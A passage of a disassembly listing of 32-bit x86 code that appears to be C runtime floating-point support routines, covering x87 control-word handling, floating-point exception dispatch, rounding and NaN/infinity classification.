loc_4274FA: ; CODE XREF: sub_427277+27Aj
mov ecx, [esi]
and ecx, edx
or ecx, 200h
jmp short loc_427510
; ---------------------------------------------------------------------------
loc_427506: ; CODE XREF: sub_427277+277j
mov ecx, [esi]
and ecx, edx
or ecx, 300h
loc_427510: ; CODE XREF: sub_427277+28Dj
mov [esi], ecx
loc_427512: ; CODE XREF: sub_427277+27Dj
; sub_427277+281j
fld qword ptr [eax+50h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_427277 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42751C proc near ; CODE XREF: sub_427885+22p
var_28 = qword ptr -28h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
push ebx
push esi
xor ebx, ebx
mov esi, eax
and esi, 1Fh
inc ebx
test al, 8
mov [ebp+var_4], esi
jz short loc_42754A
test byte ptr [ebp+arg_8], bl
jz short loc_42754A
push ebx
call sub_427ACA
pop ecx
and esi, 0FFFFFFF7h
jmp loc_42771E
; ---------------------------------------------------------------------------
loc_42754A: ; CODE XREF: sub_42751C+18j
; sub_42751C+1Dj
test al, 4
jz short loc_427564
test byte ptr [ebp+arg_8], 4
jz short loc_427564
push 4
call sub_427ACA
pop ecx
and esi, 0FFFFFFFBh
jmp loc_42771E
; ---------------------------------------------------------------------------
loc_427564: ; CODE XREF: sub_42751C+30j
; sub_42751C+36j
test al, bl
jz loc_427644
test byte ptr [ebp+arg_8], 8
jz loc_427644
push 8
call sub_427ACA
mov eax, [ebp+arg_8]
pop ecx
mov ecx, 0C00h
and eax, ecx
jz loc_42761A
cmp eax, 400h
jz short loc_4275F0
cmp eax, 800h
jz short loc_4275C6
cmp eax, ecx
jnz loc_42763C
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_439B70
fld ds:dbl_443CA8
fnstsw ax
test ah, 41h
jz short loc_4275BE
fchs
loc_4275BE: ; CODE XREF: sub_42751C+9Ej
fstp [ebp+var_10]
fld [ebp+var_10]
jmp short loc_42763A
; ---------------------------------------------------------------------------
loc_4275C6: ; CODE XREF: sub_42751C+7Ej
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_439B70
fnstsw ax
test ah, 41h
jnz short loc_4275E0
fld ds:dbl_443C98
jmp short loc_4275E8
; ---------------------------------------------------------------------------
loc_4275E0: ; CODE XREF: sub_42751C+BAj
fld ds:dbl_443CA8
fchs
loc_4275E8: ; CODE XREF: sub_42751C+C2j
fstp [ebp+var_10]
fld [ebp+var_10]
jmp short loc_42763A
; ---------------------------------------------------------------------------
loc_4275F0: ; CODE XREF: sub_42751C+77j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_439B70
fnstsw ax
test ah, 41h
jnz short loc_42760A
fld ds:dbl_443CA8
jmp short loc_427612
; ---------------------------------------------------------------------------
loc_42760A: ; CODE XREF: sub_42751C+E4j
fld ds:dbl_443C98
fchs
loc_427612: ; CODE XREF: sub_42751C+ECj
fstp [ebp+var_10]
fld [ebp+var_10]
jmp short loc_42763A
; ---------------------------------------------------------------------------
loc_42761A: ; CODE XREF: sub_42751C+6Cj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_439B70
fld ds:dbl_443C98
fnstsw ax
test ah, 41h
jz short loc_427634
fchs
loc_427634: ; CODE XREF: sub_42751C+114j
fstp [ebp+var_10]
fld [ebp+var_10]
loc_42763A: ; CODE XREF: sub_42751C+A8j
; sub_42751C+D2j ...
fstp qword ptr [ecx]
loc_42763C: ; CODE XREF: sub_42751C+82j
and esi, 0FFFFFFFEh
jmp loc_42771E
; ---------------------------------------------------------------------------
loc_427644: ; CODE XREF: sub_42751C+4Aj
; sub_42751C+54j
test al, 2
jz loc_42771E
test byte ptr [ebp+arg_8], 10h
jz loc_42771E
xor esi, esi
test al, 10h
jz short loc_42765E
mov esi, ebx
loc_42765E: ; CODE XREF: sub_42751C+13Ej
fld ds:dbl_439B70
push edi
mov edi, [ebp+arg_4]
fld qword ptr [edi]
fucompp
fnstsw ax
test ah, 44h
jnp loc_427708
fld qword ptr [edi]
lea eax, [ebp+var_8]
push eax ; int
push ecx
push ecx ; double
fstp [esp+28h+var_28]
call sub_4279D3
mov ecx, [ebp+var_8]
fstp [ebp+var_10]
fld [ebp+var_10]
add ecx, 0FFFFFA00h
add esp, 0Ch
cmp ecx, 0FFFFFBCEh
jge short loc_4276AB
fmul ds:dbl_439B70
mov esi, ebx
jmp short loc_4276FE
; ---------------------------------------------------------------------------
loc_4276AB: ; CODE XREF: sub_42751C+183j
fcomp ds:dbl_439B70
fnstsw ax
test ah, 5
jp short loc_4276BC
mov edx, ebx
jmp short loc_4276BE
; ---------------------------------------------------------------------------
loc_4276BC: ; CODE XREF: sub_42751C+19Aj
xor edx, edx
loc_4276BE: ; CODE XREF: sub_42751C+19Ej
xor eax, eax
mov al, byte ptr [ebp+var_10+6]
and eax, 0Fh
or eax, 10h
mov word ptr [ebp+var_10+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_4276F5
sub eax, ecx
loc_4276D8: ; CODE XREF: sub_42751C+1D7j
test byte ptr [ebp+var_10], bl
jz short loc_4276E3
test esi, esi
jnz short loc_4276E3
mov esi, ebx
loc_4276E3: ; CODE XREF: sub_42751C+1BFj
; sub_42751C+1C3j
shr dword ptr [ebp+var_10], 1
test byte ptr [ebp+var_10+4], bl
jz short loc_4276EF
or byte ptr [ebp+var_10+3], 80h
loc_4276EF: ; CODE XREF: sub_42751C+1CDj
shr dword ptr [ebp+var_10+4], 1
dec eax
jnz short loc_4276D8
loc_4276F5: ; CODE XREF: sub_42751C+1B8j
test edx, edx
jz short loc_427701
fld [ebp+var_10]
fchs
loc_4276FE: ; CODE XREF: sub_42751C+18Dj
fstp [ebp+var_10]
loc_427701: ; CODE XREF: sub_42751C+1DBj
fld [ebp+var_10]
fstp qword ptr [edi]
jmp short loc_42770A
; ---------------------------------------------------------------------------
loc_427708: ; CODE XREF: sub_42751C+155j
mov esi, ebx
loc_42770A: ; CODE XREF: sub_42751C+1EAj
test esi, esi
pop edi
jz short loc_427717
push 10h
call sub_427ACA
pop ecx
loc_427717: ; CODE XREF: sub_42751C+1F1j
and [ebp+var_4], 0FFFFFFFDh
mov esi, [ebp+var_4]
loc_42771E: ; CODE XREF: sub_42751C+29j
; sub_42751C+43j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_427735
test byte ptr [ebp+arg_8], 20h
jz short loc_427735
push 20h
call sub_427ACA
pop ecx
and esi, 0FFFFFFEFh
loc_427735: ; CODE XREF: sub_42751C+206j
; sub_42751C+20Cj
xor eax, eax
test esi, esi
pop esi
setz al
pop ebx
leave
retn
sub_42751C endp
; =============== S U B R O U T I N E =======================================
sub_427740 proc near ; CODE XREF: sub_427793+6Cp
; sub_427793+93p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_42775B
jle short locret_427765
cmp eax, 3
jg short locret_427765
mov ds:dword_4E28F4, 22h
retn
; ---------------------------------------------------------------------------
loc_42775B: ; CODE XREF: sub_427740+7j
mov ds:dword_4E28F4, 21h
locret_427765: ; CODE XREF: sub_427740+9j
; sub_427740+Ej
retn
sub_427740 endp
; =============== S U B R O U T I N E =======================================
sub_427766 proc near ; CODE XREF: sub_427885+55p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_427772
push 5
jmp short loc_427788
; ---------------------------------------------------------------------------
loc_427772: ; CODE XREF: sub_427766+6j
test al, 8
jz short loc_42777A
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_42777A: ; CODE XREF: sub_427766+Ej
test al, 4
jz short loc_427782
push 2
jmp short loc_427788
; ---------------------------------------------------------------------------
loc_427782: ; CODE XREF: sub_427766+16j
test al, 1
jz short loc_42778A
push 3
loc_427788: ; CODE XREF: sub_427766+Aj
; sub_427766+1Aj
pop eax
retn
; ---------------------------------------------------------------------------
loc_42778A: ; CODE XREF: sub_427766+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_427766 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_427793(int,int,int,int,int,int,double,int)
sub_427793 proc near ; CODE XREF: sub_427833+2Ap
; sub_427885+87p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
xor eax, eax
loc_42779B: ; CODE XREF: sub_427793+18j
mov ecx, ds:dword_443BB0[eax*8]
cmp ecx, [ebp+arg_4]
jz short loc_42780D
inc eax
cmp eax, 1Dh
jl short loc_42779B
xor eax, eax
loc_4277AF: ; CODE XREF: sub_427793+81j
test eax, eax
mov [ebp+var_1C], eax
jz short loc_427816
mov eax, [ebp+arg_8]
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push esi
mov esi, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8+4], eax
call sub_427AA6
lea eax, [ebp+var_20]
push eax
call sub_427274
add esp, 0Ch
test eax, eax
jnz short loc_427807
push esi
call sub_427740
add esp, 4
loc_427807: ; CODE XREF: sub_427793+69j
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_42780D: ; CODE XREF: sub_427793+12j
mov eax, ds:off_443BB4[eax*8]
jmp short loc_4277AF
; ---------------------------------------------------------------------------
loc_427816: ; CODE XREF: sub_427793+21j
push 0FFFFh
push [ebp+arg_20]
call sub_427AA6
push [ebp+arg_0]
call sub_427740
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_427793 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_427833(int,double,int)
sub_427833 proc near ; CODE XREF: sub_424720+51p
; sub_4255CA+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = qword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:dword_443BA8, 0
jnz short loc_427867
push [ebp+arg_C] ; int
fld [ebp+arg_4]
sub esp, 18h
fstp [esp+1Ch+var_C]
fldz
fstp [esp+1Ch+var_14]
fld [ebp+arg_4]
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_427793
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_427867: ; CODE XREF: sub_427833+Aj
push 0FFFFh
push [ebp+arg_C]
mov ds:dword_4E28F4, 21h
call sub_427AA6
fld [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_427833 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_427885(int,int,double,double,int)
sub_427885 proc near ; CODE XREF: sub_424720:loc_4247E7p
; sub_4255CA:loc_425691p
var_9C = qword ptr -9Ch
var_94 = qword ptr -94h
var_8C = qword ptr -8Ch
var_84 = dword ptr -84h
var_80 = byte ptr -80h
var_40 = dword ptr -40h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
and esp, 0FFFFFFF0h
sub esp, 80h
mov eax, ds:dword_4437D4
push [ebp+arg_18]
mov [esp+84h+var_4], eax
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42751C
add esp, 0Ch
test eax, eax
jnz short loc_4278D7
and [esp+80h+var_40], 0FFFFFFFEh
lea eax, [ebp+arg_10]
push eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_18]
push [ebp+arg_0]
push eax
lea eax, [esp+94h+var_80]
push eax
call sub_427277
add esp, 18h
loc_4278D7: ; CODE XREF: sub_427885+2Cj
push [ebp+arg_0]
call sub_427766
add esp, 4
cmp ds:dword_443BA8, 0
jnz short loc_427916
test eax, eax
jz short loc_427916
push [ebp+arg_18] ; int
fld [ebp+arg_10]
sub esp, 18h
fstp [esp+9Ch+var_8C]
fldz
fstp [esp+9Ch+var_94]
fld [ebp+arg_8]
fstp [esp+9Ch+var_9C]
push [ebp+arg_4] ; int
push eax ; int
call sub_427793
add esp, 24h
jmp short loc_427930
; ---------------------------------------------------------------------------
loc_427916: ; CODE XREF: sub_427885+64j
; sub_427885+68j
push eax
call sub_427740
mov [esp+84h+var_84], 0FFFFh
push [ebp+arg_18]
call sub_427AA6
fld [ebp+arg_10]
pop ecx
pop ecx
loc_427930: ; CODE XREF: sub_427885+8Fj
mov ecx, [esp+80h+var_4]
call sub_422B83
mov esp, ebp
pop ebp
retn
sub_427885 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_42793D(double)
sub_42793D proc near ; CODE XREF: sub_424720:loc_4247A6p
; sub_4255CA:loc_425650p
var_8 = qword ptr -8
arg_0 = qword ptr 4
push ecx
push ecx
fld [esp+8+arg_0]
frndint
fstp [esp+8+var_8]
fld [esp+8+var_8]
pop ecx
pop ecx
retn
sub_42793D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42794E(double,int)
sub_42794E proc near ; CODE XREF: sub_4279D3+82p
; sub_4279D3+95p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
fld [ebp+arg_0]
mov ecx, dword ptr [ebp+arg_0+6]
fstp [ebp+var_8]
add eax, 3FEh
shl eax, 4
and ecx, 0FFFF800Fh
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_42794E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427978 proc near ; CODE XREF: sub_424720+31p
; sub_4255CA+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_427990
cmp [ebp+arg_0], edx
jnz short loc_4279A2
xor eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_427990: ; CODE XREF: sub_427978+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_4279A2
cmp [ebp+arg_0], edx
jnz short loc_4279A2
push 2
jmp short loc_4279CC
; ---------------------------------------------------------------------------
loc_4279A2: ; CODE XREF: sub_427978+11j
; sub_427978+1Fj ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_4279B5
push 3
jmp short loc_4279CC
; ---------------------------------------------------------------------------
loc_4279B5: ; CODE XREF: sub_427978+37j
cmp cx, 7FF0h
jnz short loc_4279CF
test [ebp+arg_4], 7FFFFh
jnz short loc_4279CA
cmp [ebp+arg_0], edx
jz short loc_4279CF
loc_4279CA: ; CODE XREF: sub_427978+4Bj
push 4
loc_4279CC: ; CODE XREF: sub_427978+28j
; sub_427978+3Bj
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4279CF: ; CODE XREF: sub_427978+42j
; sub_427978+50j
xor eax, eax
pop ebp
retn
sub_427978 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4279D3(double,int)
sub_4279D3 proc near ; CODE XREF: sub_42751C+166p
var_14 = qword ptr -14h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld ds:dbl_439B70
fld [ebp+arg_0]
fucompp
fnstsw ax
test ah, 44h
jp short loc_4279F3
fldz
xor edx, edx
jmp loc_427A82
; ---------------------------------------------------------------------------
loc_4279F3: ; CODE XREF: sub_4279D3+15j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_427A5F
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_427A0B
cmp dword ptr [ebp+arg_0], ecx
jz short loc_427A5F
loc_427A0B: ; CODE XREF: sub_4279D3+31j
fld [ebp+arg_0]
mov edx, 0FFFFFC03h
fcomp ds:dbl_439B70
fnstsw ax
test ah, 5
jp short loc_427A25
xor eax, eax
inc eax
jmp short loc_427A3A
; ---------------------------------------------------------------------------
loc_427A25: ; CODE XREF: sub_4279D3+4Bj
xor eax, eax
jmp short loc_427A3A
; ---------------------------------------------------------------------------
loc_427A29: ; CODE XREF: sub_4279D3+6Bj
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_427A36
or dword ptr [ebp+arg_0+4], 1
loc_427A36: ; CODE XREF: sub_4279D3+5Dj
shl dword ptr [ebp+arg_0], 1
dec edx
loc_427A3A: ; CODE XREF: sub_4279D3+50j
; sub_4279D3+54j
test byte ptr [ebp+arg_0+6], 10h
jz short loc_427A29
and byte ptr [ebp+arg_0+6], 0EFh
cmp eax, ecx
jz short loc_427A4C
or byte ptr [ebp+arg_0+7], 80h
loc_427A4C: ; CODE XREF: sub_4279D3+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+14h+var_14]
call sub_42794E
add esp, 0Ch
jmp short loc_427A82
; ---------------------------------------------------------------------------
loc_427A5F: ; CODE XREF: sub_4279D3+28j
; sub_4279D3+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+14h+var_14]
call sub_42794E
mov edx, dword ptr [ebp+arg_0+6]
shr edx, 4
and edx, 7FFh
add esp, 0Ch
sub edx, 3FEh
loc_427A82: ; CODE XREF: sub_4279D3+1Bj
; sub_4279D3+8Aj
mov eax, [ebp+arg_8]
fstp [ebp+var_8]
fld [ebp+var_8]
mov [eax], edx
leave
retn
sub_4279D3 endp
; =============== S U B R O U T I N E =======================================
sub_427A8F proc near ; CODE XREF: sub_427277+DEp
var_4 = word ptr -4
push ecx
fstsw [esp+4+var_4]
movsx eax, [esp+4+var_4]
pop ecx
retn
sub_427A8F endp
; =============== S U B R O U T I N E =======================================
sub_427A9A proc near ; CODE XREF: sub_427277+1E6p
var_4 = word ptr -4
push ecx
fnstsw [esp+4+var_4]
fnclex
movsx eax, [esp+4+var_4]
pop ecx
retn
sub_427A9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427AA6 proc near ; CODE XREF: sub_424720+13p
; sub_424720+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
and ecx, [ebp+arg_4]
not eax
and eax, [ebp+var_4]
or eax, ecx
mov [ebp+arg_4], eax
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_427AA6 endp
; =============== S U B R O U T I N E =======================================
sub_427ACA proc near ; CODE XREF: sub_42751C+20p
; sub_42751C+3Ap ...
var_8 = qword ptr -8
arg_0 = dword ptr 4
push ecx
push ecx
mov cl, byte ptr [esp+8+arg_0]
test cl, 1
jz short loc_427AE0
fld ds:tbyte_443CC0
fistp [esp+8+arg_0]
wait
loc_427AE0: ; CODE XREF: sub_427ACA+9j
test cl, 8
jz short loc_427AF5
fstsw ax
fld ds:tbyte_443CC0
fstp [esp+8+var_8]
wait
fstsw ax
loc_427AF5: ; CODE XREF: sub_427ACA+19j
test cl, 10h
jz short loc_427B04
fld ds:tbyte_443CCC
fstp [esp+8+var_8]
wait
loc_427B04: ; CODE XREF: sub_427ACA+2Ej
test cl, 4
jz short loc_427B12
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_427B12: ; CODE XREF: sub_427ACA+3Dj
test cl, 20h
jz short loc_427B1D
fldpi
fstp [esp+8+var_8]
wait
loc_427B1D: ; CODE XREF: sub_427ACA+4Bj
pop ecx
pop ecx
retn
sub_427ACA endp
; =============== S U B R O U T I N E =======================================
sub_427B20 proc near ; CODE XREF: sub_427B9F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push 20h
pop ecx
cdq
idiv ecx
push 1Fh
pop ecx
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
mov ecx, [esp+arg_0]
not edx
test [ecx+eax*4], edx
jz short loc_427B48
loc_427B3F: ; CODE XREF: sub_427B20+26j
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_427B42: ; CODE XREF: sub_427B20+2Cj
cmp dword ptr [ecx+eax*4], 0
jnz short loc_427B3F
loc_427B48: ; CODE XREF: sub_427B20+1Dj
inc eax
cmp eax, 3
jl short loc_427B42
xor eax, eax
inc eax
retn
sub_427B20 endp
; =============== S U B R O U T I N E =======================================
sub_427B52 proc near ; CODE XREF: sub_427B9F+42p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push edi
push 20h
pop ecx
cdq
idiv ecx
mov edi, [esp+8+arg_0]
mov esi, eax
lea eax, [edi+esi*4]
push eax
push 1Fh
pop ecx
sub ecx, edx
xor edx, edx
inc edx
shl edx, cl
push edx
push dword ptr [eax]
call sub_4289A9
add esp, 0Ch
dec esi
js short loc_427B9C
lea edi, [edi+esi*4]
loc_427B83: ; CODE XREF: sub_427B52+48j
test eax, eax
jz short loc_427B9C
push edi
push 1
push dword ptr [edi]
call sub_4289A9
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_427B83
loc_427B9C: ; CODE XREF: sub_427B52+2Cj
; sub_427B52+33j
pop edi
pop esi
retn
sub_427B52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427B9F proc near ; CODE XREF: sub_427CC0+79p
; sub_427CC0+C2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
dec edi
push 20h
lea eax, [edi+1]
pop ecx
cdq
idiv ecx
push 1Fh
pop esi
sub esi, edx
xor edx, edx
inc edx
mov ecx, esi
shl edx, cl
mov ebx, eax
mov eax, [ebp+arg_0]
test [eax+ebx*4], edx
jz short loc_427BEE
lea ecx, [edi+1]
push ecx
push eax
call sub_427B20
test eax, eax
pop ecx
pop ecx
jnz short loc_427BEB
push edi
push [ebp+arg_0]
call sub_427B52
pop ecx
pop ecx
mov [ebp+var_4], eax
loc_427BEB: ; CODE XREF: sub_427B9F+3Cj
mov eax, [ebp+arg_0]
loc_427BEE: ; CODE XREF: sub_427B9F+2Cj
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax+ebx*4], edx
inc ebx
cmp ebx, ecx
jge short loc_427C09
lea edi, [eax+ebx*4]
sub ecx, ebx
xor eax, eax
rep stosd
loc_427C09: ; CODE XREF: sub_427B9F+5Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_427B9F endp
; =============== S U B R O U T I N E =======================================
sub_427C11 proc near ; CODE XREF: sub_427CC0+6Dp
; sub_427CC0+ACp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 3
pop edx
sub ecx, eax
push esi
loc_427C1F: ; CODE XREF: sub_427C11+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_427C1F
pop esi
retn
sub_427C11 endp
; =============== S U B R O U T I N E =======================================
sub_427C2C proc near ; CODE XREF: sub_427CC0+4Dp
arg_0 = dword ptr 4
xor eax, eax
loc_427C2E: ; CODE XREF: sub_427C2C+10j
mov ecx, [esp+arg_0]
cmp dword ptr [ecx+eax*4], 0
jnz short loc_427C42
inc eax
cmp eax, 3
jl short loc_427C2E
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_427C42: ; CODE XREF: sub_427C2C+Aj
xor eax, eax
retn
sub_427C2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427C45 proc near ; CODE XREF: sub_427CC0+B6p
; sub_427CC0+D0p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
pop esi
cdq
mov ecx, esi
idiv ecx
mov ebx, [ebp+arg_0]
or edi, 0FFFFFFFFh
mov [ebp+arg_4], esi
mov ecx, edx
shl edi, cl
mov [ebp+var_8], eax
xor eax, eax
sub [ebp+arg_4], edx
not edi
mov [ebp+var_4], eax
loc_427C73: ; CODE XREF: sub_427C45+51j
mov esi, [ebx+eax*4]
mov ecx, esi
and ecx, edi
mov [ebp+var_C], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+arg_4]
or esi, [ebp+var_4]
mov [ebx+eax*4], esi
mov esi, [ebp+var_C]
shl esi, cl
inc eax
cmp eax, 3
mov [ebp+var_4], esi
jl short loc_427C73
push 2
pop eax
mov ecx, eax
sub ecx, [ebp+var_8]
lea ecx, [ebx+ecx*4]
loc_427CA3: ; CODE XREF: sub_427C45+74j
cmp eax, [ebp+var_8]
jl short loc_427CAF
mov edx, [ecx]
mov [ebx+eax*4], edx
jmp short loc_427CB3
; ---------------------------------------------------------------------------
loc_427CAF: ; CODE XREF: sub_427C45+61j
and dword ptr [ebx+eax*4], 0
loc_427CB3: ; CODE XREF: sub_427C45+68j
dec eax
sub ecx, 4
test eax, eax
jge short loc_427CA3
pop edi
pop esi
pop ebx
leave
retn
sub_427C45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427CC0 proc near ; CODE XREF: sub_427E18+Dp
; sub_427E2E+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
movzx ecx, word ptr [eax+0Ah]
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
shl eax, 10h
and edi, 7FFFh
sub edi, 3FFFh
cmp edi, 0FFFFC001h
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
mov [ebp+var_8], ecx
push eax
jnz short loc_427D29
xor ebx, ebx
call sub_427C2C
test eax, eax
pop ecx
jnz loc_427DD8
lea edi, [ebp+var_C]
stosd
stosd
stosd
loc_427D21: ; CODE XREF: sub_427CC0+DAj
push 2
pop eax
jmp loc_427DDA
; ---------------------------------------------------------------------------
loc_427D29: ; CODE XREF: sub_427CC0+49j
lea eax, [ebp+var_18]
push eax
call sub_427C11
push dword ptr [esi+8]
lea eax, [ebp+var_C]
push eax
call sub_427B9F
add esp, 10h
test eax, eax
jz short loc_427D46
inc edi
loc_427D46: ; CODE XREF: sub_427CC0+83j
mov eax, [esi+4]
mov ecx, eax
sub ecx, [esi+8]
cmp edi, ecx
jge short loc_427D5C
xor eax, eax
lea edi, [ebp+var_C]
stosd
stosd
stosd
jmp short loc_427D98
; ---------------------------------------------------------------------------
loc_427D5C: ; CODE XREF: sub_427CC0+90j
cmp edi, eax
jg short loc_427D9C
sub eax, edi
mov edi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_427C11
lea eax, [ebp+var_C]
push edi
push eax
call sub_427C45
push dword ptr [esi+8]
lea eax, [ebp+var_C]
push eax
call sub_427B9F
mov eax, [esi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_427C45
add esp, 20h
loc_427D98: ; CODE XREF: sub_427CC0+9Aj
xor ebx, ebx
jmp short loc_427D21
; ---------------------------------------------------------------------------
loc_427D9C: ; CODE XREF: sub_427CC0+9Ej
cmp edi, [esi]
push dword ptr [esi+0Ch]
jl short loc_427DC4
xor eax, eax
lea edi, [ebp+var_C]
stosd
stosd
stosd
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_427C45
mov ebx, [esi+14h]
add ebx, [esi]
pop ecx
xor eax, eax
pop ecx
inc eax
jmp short loc_427DDA
; ---------------------------------------------------------------------------
loc_427DC4: ; CODE XREF: sub_427CC0+E1j
mov ebx, [esi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add ebx, edi
call sub_427C45
pop ecx
pop ecx
loc_427DD8: ; CODE XREF: sub_427CC0+55j
xor eax, eax
loc_427DDA: ; CODE XREF: sub_427CC0+64j
; sub_427CC0+102j
push 1Fh
pop ecx
sub ecx, [esi+0Ch]
